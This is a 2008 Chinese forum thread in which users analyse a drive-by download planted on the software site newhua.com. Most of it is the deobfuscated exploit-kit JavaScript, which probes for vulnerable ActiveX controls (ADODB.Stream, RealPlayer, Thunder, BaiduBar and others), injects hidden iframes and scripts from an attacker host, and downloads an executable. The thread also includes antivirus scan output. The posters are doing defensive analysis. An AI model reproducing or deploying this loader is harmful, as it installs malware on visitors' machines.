刚访问华军软件园，网站挂马了，real漏洞，有个脚本加密了，有高手能解开吗？

dream7758521

网站是http://www.newhua.com/index.htm


挂马网站是这个http://2.lafan8.com/9.htm

http://2.lafan8.com/news.html
这个网页加密了，能否解一下

tonger2003

探测到: 木马程序 Trojan-Downloader.Win32.Agent.ibm        网址: http://user1.1a2b3c0.net/bak.css//NSPack

zzh161

把eval改成document.write，然后运行下就看到结果了

if(document.cookie.indexOf('OK')==-1){
try{var eeeeeeee;
var ado=(document.createElement("\x6f\x62\x6a\x65\x63\x74"));
var Rising="\x63\x6c\x61\x73\x73\x69\x64";
var KV2008="\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d";
var Kaspersky="\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36";
ado.setAttribute(Rising,Kaspersky);
var as=ado.createobject(KV2008,"")}
catch(eeeeeeee){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+3*60*60*1000);
document.cookie='OK=Yes;path=/;expires='+expires.toGMTString();
if(eeeeeeee!="[object Error]"){
document.write("<script src=http:\/\/1.100190.com\/news\/ms06014.js><\/script>")}
else{
try{var ffffffff;
var ourgame=new ActiveXObject("\x47\x4c\x43\x48\x41\x54\x2e\x47\x4c\x43\x68\x61\x74\x43\x74\x72\x6c\x2e\x31");}
catch(ffffffff){};
finally{if(ffffffff!="[object Error]"){
document.write('<iframe style=display:none src="http://1.100190.com/news/GLWORLD.html"></iframe>')}}
try{var gggggggg;
var storm=new ActiveXObject("\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72");}
catch(gggggggg){};
finally{if(gggggggg!="[object Error]"){
document.write('<iframe style=display:none src="http://1.100190.com/news/StormII.html"></iframe>')}}
try{var hhhhhhhh;
var Real=new ActiveXObject("\x49\x45\x52\x50\x43\x74\x6c\x2e\x49\x45\x52\x50\x43\x74\x6c\x2e\x31");}
catch(hhhhhhhh){};
finally{if(hhhhhhhh!="[object Error]"){
document.write('<sCrIpT LAnGuAgE="jAvAsCrIpT" src=http:\/\/1.100190.com\/news\/real.js><\/script>')}}
try{var iiiiiiii;
var thunder=new ActiveXObject("\x44\x50\x43\x6c\x69\x65\x6e\x74\x2e\x56\x6f\x64");}
catch(iiiiiiii){};
finally{if(iiiiiiii!="[object Error]"){
document.write('<iframe style=display:none src="http://1.100190.com/news/Thunder.html"></iframe>')}}
try{var kkkkkkkk;
var Baidu=new ActiveXObject("\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c");}
catch(kkkkkkkk){};
finally{if(kkkkkkkk!="[object Error]"){
Baidu["\x44\x6c\x6f\x61\x64\x44\x53"]("http://1.100190.com/news/Baidu.cab", "\x42\x61\x69\x64\x75\x2e\x65\x78\x65", 0)}}
if(ffffffff=="[object Error]" && gggggggg=="[object Error]" && hhhhhhhh=="[object Error]" && iiiiiiii=="[object Error]")
{
location.replace("about:blank");}
}}}

[ 本帖最后由 zzh161 于 2008-2-14 00:40 编辑 ]

dream7758521

j还有问一下，华军网站上的那段代码触发了real漏洞，我研究了2个小时没明白。直接把网页下载下来没有挂马链接，用ie运行，再看源码就有挂马链接。（这里声明下不是ie问题，我还专门用虚拟机试验了）

冷冷

还是不会用freshow

-------------------

冷冷

var Baidu=new ActiveXObject("BaiduBar.Tool");}
catch(kkkkkkkk){};
finally{if(kkkkkkkk!="[object Error]"){
Baidu["DloadDS"]("http://1.100190.com/news/Baidu.cab", "Baidu.exe", 0)}}
if(ffffffff=="[object Error]" && gggggggg=="[object Error]" && hhhhhhhh=="[object Error]" && iiiiiiii=="[object Error]")
{
location.replace("about:blank");}
}}}

这里有一个

zzh161

找到了，就是这句

http:\/\/1.100190.com\/news\/real.js

刚才复制的时候少复制东西了

[ 本帖最后由 zzh161 于 2008-2-14 00:42 编辑 ]

tanlimo

不是吧，还挂着

深红的雪

华军的人还没有放完假吧

~~~~~~~~~~~~~~~~~

这种压缩加密用freshow解不了

mofunzone

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\Baidu.cab'
C:\TDDOWNLOAD\
  Baidu.cab
    [0] Archive type: CAB (Microsoft)
    --> Baidu.exe
        [DETECTION] Contains suspicious code HEUR/Malware
        [WARNING]   Infected files in archives cannot be repaired!
        [WARNING]   The file was ignored!